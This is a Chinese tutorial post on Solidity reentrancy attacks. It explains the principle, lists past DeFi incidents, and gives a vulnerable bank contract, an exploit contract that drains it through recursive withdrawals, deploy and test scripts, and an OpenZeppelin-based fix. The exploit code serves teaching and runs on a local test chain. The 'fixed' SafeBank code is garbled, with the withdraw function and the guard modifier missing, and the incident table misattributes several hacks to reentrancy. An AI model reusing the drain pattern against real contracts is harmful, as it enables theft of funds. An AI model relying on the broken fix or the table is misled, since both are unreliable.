前言本文聚焦DeFi领域中典型的重入攻击(ReentrancyAttack)安全漏洞,从理论层面剖析重入攻击的原理与危害,再基于HardhatV3开发框架,结合OpenZeppelinV5安全库,通过代码实践完整复现重入攻击的全过程;最后针对该漏洞的核心成因,给出基于行业最佳实
本文聚焦 DeFi 领域中典型的重入攻击(Reentrancy Attack)安全漏洞,从理论层面剖析重入攻击的原理与危害,再基于 Hardhat V3 开发框架,结合 OpenZeppelin V5 安全库,通过代码实践完整复现重入攻击的全过程;最后针对该漏洞的核心成因,给出基于行业最佳实践的修复方案,并通过代码验证修复效果。全文采用 “理论分析 - 攻击复现 - 漏洞修复” 的逻辑脉络,将重入攻击的技术原理与工程实践相结合,清晰呈现该安全漏洞的风险点及防护手段。
重入攻击是什么
1. 核心定义:重入攻击(Reentrancy Attack)是智能合约中一种经典的安全漏洞。它的核心原理是:外部恶意合约利用回调机制,在目标合约的函数执行过程尚未结束(即状态变量尚未更新)时,再次递归调用该函数,从而反复窃取资产或破坏逻辑。
2. 通俗类比
3. 技术原理:在 Ethereum(以太坊)等 EVM 兼容链上,当合约向外部地址(EOA 或其他合约)发送 ETH(使用call)或执行低级别调用时,接收方合约的fallback()或receive()函数会被触发。如果目标合约在修改状态变量(如用户余额)之前就执行了转账操作,攻击者就可以在fallback函数中再次调用目标合约的提款函数,导致 “余额未清零” 的漏洞被反复利用。
| 事件名称 | 发生时间 | 损失金额 | 核心细节 |
|---|---|---|---|
| The DAO 攻击 | 2016 年 | 约 6000 万美元(当时约占以太坊总量的 15%) | 利用 DAO 合约中splitDAO函数的重入漏洞,通过递归调用将资金转移到子 DAO 中,导致以太坊社区硬分叉为 ETH 和 ETC。 |
| Parity 钱包多重签名漏洞攻击 | 2017 年 | 约 3000 万美元 | 主因为库合约自杀致代码不可用,delegatecall重入逻辑复杂性是导火索之一,造成多个钱包合约被冻结或盗取。 |
| bZx 闪电贷重入攻击 | 2020 年 | 约 800 万美元 | DeFi Summer 初期典型攻击,结合闪电贷与重入攻击,操纵价格后借重入漏洞在旧价格下清算套利,开启组合拳攻击时代。 |
| Cream Finance 攻击 | 2021 年 | 约 1.3 亿美元 | 利用 ETH 和 YFI 市场重入漏洞,铸造大量 crETH 代币并赎回,导致协议巨额损失。 |
| Euler Finance 攻击 | 2023 年 | 约 1.97 亿美元 | 利用 DToken 合约重入漏洞,在清算过程中反复借款并提取抵押品,造成巨额损失。 |
1. 资产直接被盗(经济损失):这是最直接的后果。攻击者可以在合约逻辑未能更新余额之前,将合约内的所有流动性资金(ETH、ERC20 代币等)转移至自己的地址,导致协议瞬间资不抵债(Rug Pull)。
2. 合约状态混乱(逻辑破坏):即使资金没有被转走,反复的递归调用可能导致合约的状态变量(如借贷利率、清算价格、总供应量)计算错误。一旦状态被破坏,合约可能永久无法正常运行,甚至导致剩余资产无法提取。
3. 协议信任崩塌(声誉破产):DeFi 的核心是 “Code is Law”(代码即法律)。一旦发生重入攻击,意味着代码存在致命缺陷,用户会对协议失去信任,导致流动性迅速撤离,项目方代币价格归零,项目直接死亡。
4. 复杂攻击的跳板:在现代 DeFi 攻击中,重入往往不是单一手段,而是配合闪电贷、价格操纵、预言机攻击的关键一环。它能放大攻击的杠杆效应,让攻击者在一个区块内完成数亿级别的套利。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;contract UnsafeBank { mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint amount = balances[msg.sender];
require(amount > 0, "no fund");
// 先转账,后更新 → 可被重入
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
balances[msg.sender] = 0; // 太晚!
}
}
* **重入攻击合约**
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24;
import "./UnsafeBank.sol";
contract ReentrancyExploit { UnsafeBank public immutable bank; bool private _isAttacking; // 标记是否处于攻击状态
constructor(address _bank) {
bank = UnsafeBank(_bank);
}
function attack() external payable {
require(msg.value > 0, "Need ETH to attack");
_isAttacking = true; // 开启攻击状态
// 1. 存入资金
bank.deposit{value: msg.value}();
// 2. 触发第一次提款
bank.withdraw();
_isAttacking = false; // 结束攻击状态
}
// receive() external payable {
// // 只有在攻击状态下,且银行还有钱时才重入
// if (_isAttacking && address(bank).balance >= msg.value) {
// bank.withdraw();
// }
// }
receive() external payable {
// 关键:增加余额检查,防止无限递归
// 只有当银行里还有钱时,才继续提款
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
}
function loot() external {
payable(msg.sender).transfer(address(this).balance);
}
}
### 部署脚本
// scripts/deploy.js import { network, artifacts } from "hardhat"; async function main() { // 连接网络 const { viem } = await network.connect({ network: network.name });//指定网络进行链接
// 获取客户端 const [deployer] = await viem.getWalletClients(); const publicClient = await viem.getPublicClient();
const deployerAddress = deployer.account.address; console.log("部署者的地址:", deployerAddress); // 加载合约 const UnsafeBankArtifact = await artifacts.readArtifact("UnsafeBank"); const ReentrancyExploitArtifact = await artifacts.readArtifact("ReentrancyExploit");
// 部署(构造函数参数:recipient, initialOwner) const UnsafeBankHash = await deployer.deployContract({ abi: UnsafeBankArtifact.abi,//获取abi bytecode: UnsafeBankArtifact.bytecode,//硬编码 args: [],// }); const UnsafeBankReceipt = await publicClient.waitForTransactionReceipt({ hash: UnsafeBankHash }); console.log("银行合约地址:", UnsafeBankReceipt.contractAddress); // const ReentrancyExploitHash = await deployer.deployContract({ abi: ReentrancyExploitArtifact.abi,//获取abi bytecode: ReentrancyExploitArtifact.bytecode,//硬编码 args: [UnsafeBankReceipt.contractAddress],//部署者地址,初始所有者地址 }); // 等待确认并打印地址 const ReentrancyExploitReceipt = await publicClient.waitForTransactionReceipt({ hash: ReentrancyExploitHash }); console.log("攻击合约地址:", ReentrancyExploitReceipt.contractAddress); }
main().catch(console.error);
### 测试脚本
import assert from "node:assert/strict"; import { describe, it, beforeEach } from "node:test"; import hre from "hardhat"; import { parseEther, getAddress, formatEther } from "viem";
describe("ReentrancyExploit 攻击验证", async function () { let owner: any; let otherAccount: any; let UnsafeBank: any; let ReentrancyExploit: any; let publicClient: any;
beforeEach(async () => { // const viem = await (hre as any).viem; const { viem } = await hre.network.connect(); publicClient = await viem.getPublicClient(); [owner, otherAccount] = await viem.getWalletClients();
// 1. 部署银行
UnsafeBank = await viem.deployContract("UnsafeBank", []);
// 2. 注入“受害者”资金:让其他账户往银行存入 100 ETH
// 这样银行才有钱被偷,且不会消耗 owner 自己的本金
const depositTx = await otherAccount.sendTransaction({
to: UnsafeBank.address,
value: parseEther("100"),
data: "0xd0e30db0", // 调用 deposit() 的 selector
});
await publicClient.waitForTransactionReceipt({ hash: depositTx });
// 3. 部署攻击合约
ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [UnsafeBank.address]);
});
it("应该通过重入攻击排干银行余额", async function () { const initialBankBal = await publicClient.getBalance({ address: UnsafeBank.address }); console.log("攻击前银行余额:", formatEther(initialBankBal.toString()));
// 1. 执行攻击 (存入 10 ETH 触发递归 withdraw)
// 注意:gasLimit 必须给够,因为递归非常消耗 Gas
const attackTx = await ReentrancyExploit.write.attack([], {
value: parseEther("10"),
gas: 1000000n
});
await publicClient.waitForTransactionReceipt({ hash: attackTx });
// 2. 检查攻击合约是否成功拿到了钱
const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });
console.log("攻击后合约所得:", formatEther(exploitBal.toString()));
// 修复断言 1:合约所得应该等于 (银行初始 100 + 攻击投入 10)
assert.ok(exploitBal >= parseEther("110"));
// 提取战利品
const initialOwnerBal = await publicClient.getBalance({ address: owner.account.address });
await ReentrancyExploit.write.loot([]);
// 修复断言 2:Owner 余额增加量应该接近 110 ETH(扣除微量 Gas)
const finalOwnerBal = await publicClient.getBalance({ address: owner.account.address });
console.log("Owner 增加余额:", (finalOwnerBal - initialOwnerBal).toString());
// 只要增加超过 109 ETH 即可说明成功拿到了银行的所有钱
assert.ok(finalOwnerBal > initialOwnerBal + parseEther("109"));
// 修复断言 3:银行必须被排干
const finalBankBal = await publicClient.getBalance({ address: UnsafeBank.address });
assert.equal(finalBankBal, 0n);
}); });
## 漏洞修复
### 智能合约
* **安全漏洞修复合约**:借助openzeppelinV5修复
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24;
// 导入 OpenZeppelin V5 的防重入卫士 import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/**
@dev 修复了重入漏洞的安全银行合约 */ contract SafeBank is ReentrancyGuard { mapping(address => uint256) public balances;
// 存钱逻辑保持不变 function deposit() external payable { balances[msg.sender] += msg.value; }
/**
// --- 2. Effects (效果) --- // 在进行外部调用之前,先更新状态(账本清零) // 即使攻击者尝试重入,此时它的 balances[msg.sender] 已经是 0,无法通过 Checks balances[msg.sender] = 0;
// --- 3. Interactions (交互) --- // 最后再进行外部转账 (bool ok, ) = msg.sender.call{value: amount}(""); require(ok, "send failed"); }
// 允许合约接收 ETH receive() external payable {} }
* **重入攻击合约**:同上重入攻击合约
### 部署脚本:同上部署脚本修改编译后abi关键参数即可
### 测试脚本
import assert from "node:assert/strict"; import { describe, it, beforeEach } from "node:test"; import hre from "hardhat"; import { parseEther, getAddress, formatEther } from "viem"; describe("SafeBank 防御验证", async function () { let owner: any; let otherAccount: any; let SafeBank: any; // 使用 SafeBank 代替 UnsafeBank let ReentrancyExploit: any; let publicClient: any;
beforeEach(async () => {
const { viem } = await hre.network.connect();
publicClient = await viem.getPublicClient();
[owner, otherAccount] = await viem.getWalletClients();
// 1. 部署安全的银行合约
SafeBank = await viem.deployContract("SafeBank", []); // 注意合约名称变更
// 2. 注入“受害者”资金:100 ETH
const depositTx = await otherAccount.sendTransaction({
to: SafeBank.address,
value: parseEther("100"),
data: "0xd0e30db0", // 调用 deposit() 的 selector
});
await publicClient.waitForTransactionReceipt({ hash: depositTx });
// 3. 部署攻击合约,指向 SafeBank
ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [SafeBank.address]);
});
it("应该阻止 ReentrancyExploit 的攻击", async function () {
const initialBankBal = await publicClient.getBalance({ address: SafeBank.address });
console.log("安全银行攻击前余额:", formatEther(initialBankBal.toString())); // 100 ETH
// 尝试执行攻击
// 我们预期这个交易会失败(revert),因为 SafeBank 使用了 ReentrancyGuard
try {
await ReentrancyExploit.write.attack([], {
value: parseEther("10"), // 存入 10 ETH
gas: 3000000n // Gas 不用太高,因为它很快就会失败
});
// 如果代码执行到这里,说明攻击成功了,这不符合预期
assert.fail("攻击应该失败,但它成功了!");
} catch (error: any) {
// 预期捕获到错误,证明防御成功
console.log("成功捕获到预期错误:攻击被阻止。");
// 打印错误消息通常会包含 "ReentrancyGuard: reentrant call" 或 "no fund"
// console.error(error.message);
assert.ok(error.message.includes("revert") || error.message.includes("ReentrancyGuard") || error.message.includes("no fund"));
}
// 验证最终银行余额:钱应该还在银行里(除了攻击者存入的 10 ETH 可能卡在失败的交易中)
// 在 Viem/Hardhat 中,失败的交易会自动回滚所有状态,所以银行余额应该回到初始状态。
const finalBankBal = await publicClient.getBalance({ address: SafeBank.address });
console.log("安全银行攻击后余额:", formatEther(finalBankBal.toString()));
// 断言银行余额没有被掏空 (回到了 100 ETH 附近)
assert.ok(finalBankBal >= parseEther("99"));
const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });
assert.equal(exploitBal, 0n, "攻击合约不应该有余额");
});
});
# 结语
至此关于 DeFi 领域经典安全漏洞 —— 重入攻击,完整覆盖相关理论知识与代码实践,既包含重入攻击的复现过程,也提供了针对该漏洞的修复代码实例,形成 “理论剖析 - 实践复现 - 漏洞修复” 的完整技术链路。 如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!